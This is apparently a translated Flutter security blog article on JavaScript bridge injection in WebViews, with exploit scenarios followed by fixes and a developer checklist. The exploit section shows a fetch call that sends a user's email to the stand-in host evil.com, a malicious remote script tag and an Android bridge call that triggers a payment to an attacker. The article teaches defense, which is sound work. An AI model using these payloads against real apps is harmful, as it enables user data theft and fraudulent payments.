๐ Part 11: WebView JavaScript Bridge InjectionโโโHow Flutter Allows JS-to-Dart Code Execution
FlutterPulseThis article was translated specially for the channel FlutterPulseYou'll find lots of interesting things related to Flutter on this channel. Don't hesitate to subscribe!๐

Many Flutter apps embed web content via WebView, enabling seamless integration with external pages, payment gateways, or in-app helpโฆ
๐ Check Previous Part [How Rooted Devices Expose User Tokens & PII]
Many Flutter apps embed web content via WebView, enabling seamless integration with external pages, payment gateways, or in-app help centers.
But if you're using WebView with JavaScript enabled, and you expose a JS-to-Dart bridge, you're opening the door to one of the most dangerous mobile app exploits:
JavaScript Bridge Injection โ where malicious web pages trigger native Dart/Java/Kotlin code execution from within the WebView.
Let's break down how this works, how attackers weaponize it, and how to avoid turning your Flutter app into a remote execution engine.

๐ What's the Problem?
Flutter's WebView (e.g., flutter_inappwebview) allows native โ web communication using:
addJavaScriptHandler()in DartaddJavascriptInterface()in Android Javawindow.webkit.messageHandlersin iOS
If these interfaces are exposed to untrusted content, they can be abused to:
- Execute native code
- Trigger sensitive app functions
- Access data outside the WebView
๐ต๏ธโโ๏ธ Real-World Exploit Scenarios
๐ฃ Exploit 1: Inject Malicious JS via External Site
Say your app opens:
InAppWebView(
initialUrlRequest: URLRequest(url: Uri.parse("https://example.com")),
onWebViewCreated: (controller) {
controller.addJavaScriptHandler(
handlerName: "getUserInfo",
callback: (args) {
return getUserEmail(); // Dart/native method
},
);
},
);
If https://example.com is compromised or includes 3rd-party scripts, an attacker injects:
window.flutter_inappwebview.callHandler('getUserInfo')
.then(userEmail => {
fetch('https://evil.com/log?e=' + userEmail);
});Result: Your user's data is exfiltrated.
๐ฃ Exploit 2: Load Local HTML with External JS
Even if you load assets/help.html, if it includes:
<script src="https://cdn.badcdn.com/malicious.js"></script>
โฆthe remote script can call window.flutter_inappwebview.callHandler() to trigger Dart code.
๐ฃ Exploit 3: Exposed Native Interface in Android WebView
If using addJavascriptInterface() like this:
webView.addJavascriptInterface(new JSBridge(), "Android");
โฆthen any JS code on the page can call:
Android.doPayment("999", "attacker");And the native code will run.
๐ Real-World Impact

Risk Level: CRITICAL
๐ก๏ธ How to Fix It
โ Fix 1: Never Expose JavaScript Handlers to Untrusted Pages
Limit JS bridges only to trusted, local HTML or hardcoded assets.
Bad:
InAppWebView(url: "https://user-site.com");
with handler:
controller.addJavaScriptHandler(handlerName: "getUserData", callback: ...)
โ Fix 2: Enforce Origin Whitelisting
Before executing anything from a JS handler, validate origin:
callback: (args) {
if (allowedOrigins.contains(currentUrl)) {
return getUserToken();
} else {
return null;
}
}Or expose handlers only to localhost/internal resources.
โ Fix 3: Disable JavaScript Unless Required
Set:
initialOptions: InAppWebViewGroupOptions(
crossPlatform: InAppWebViewOptions(javaScriptEnabled: false),
)
Only enable JS for pages you fully control.
โ Fix 4: Never Trust Arguments from JavaScript
Validate and sanitize everything from JS handlers:
controller.addJavaScriptHandler(
handlerName: "makeTransfer",
callback: (args) {
final amount = double.tryParse(args[0]);
if (amount == null || amount > maxLimit) return;
return transferToUser(amount);
},
);
โ Fix 5: Disable or Restrict WebView Debugging in Production
if (BuildConfig.DEBUG) {
WebView.setWebContentsDebuggingEnabled(true);
}In production, this must always be false.
โ Anti-Patterns to Avoid

โ Developer Checklist
- Only expose JS handlers to trusted, static HTML
- Avoid loading untrusted or user-generated URLs into WebView
- Validate all input from JS before executing native code
- Disable JavaScript in WebView by default
- Prevent WebView debugging in production builds
- Use CSP (Content-Security-Policy) in local HTML when possible
- Never execute arbitrary Dart/JS callbacks without strict validation
๐ Up Next
๐พ Part 12: Firebase Anonymous Auth Hijacking โ How Attackers Impersonate Real Users
Thank you for reading this article
If I missed something or made an error, please let me know in the comments. I'm always eager to learn and improve.
Give a clap ๐ if you found this article helpful.